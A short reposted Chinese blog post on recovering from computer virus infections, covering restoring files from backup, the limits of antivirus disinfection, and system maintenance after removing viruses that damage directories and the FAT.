如果已中毒的文件有备份的话,当然是把备份的文件拷贝回去就可以了,如果没有的话就比较麻烦了。 执行文件若加上免疫疫苗的话,遇到病毒的时候,程序可以自行复原;如果文件没有加上任何防护的话, 就只能够靠解毒软件来解,不过用解毒软件来解毒不保证能够完全复原,有可能会越解越糟,杀完毒之后文件反而不能执行。因此,用户必须靠自己平日勤备份自己的资料。

由于某些病毒会破坏系统数据,如目录和文件分配表FAT,因此在清除完计算机病毒之后,系统要进行维护工作。病毒的清除工作与系统的维护工作往往是分不开的。

 

 

                 我们是筑梦团队,我们的座右铭是:当提起逐梦的脚步,也请举起筑梦的双手。

转载于:https://www.cnblogs.com/zhumengtuandui/p/6347294.html

你可能感兴趣的:(操作系统)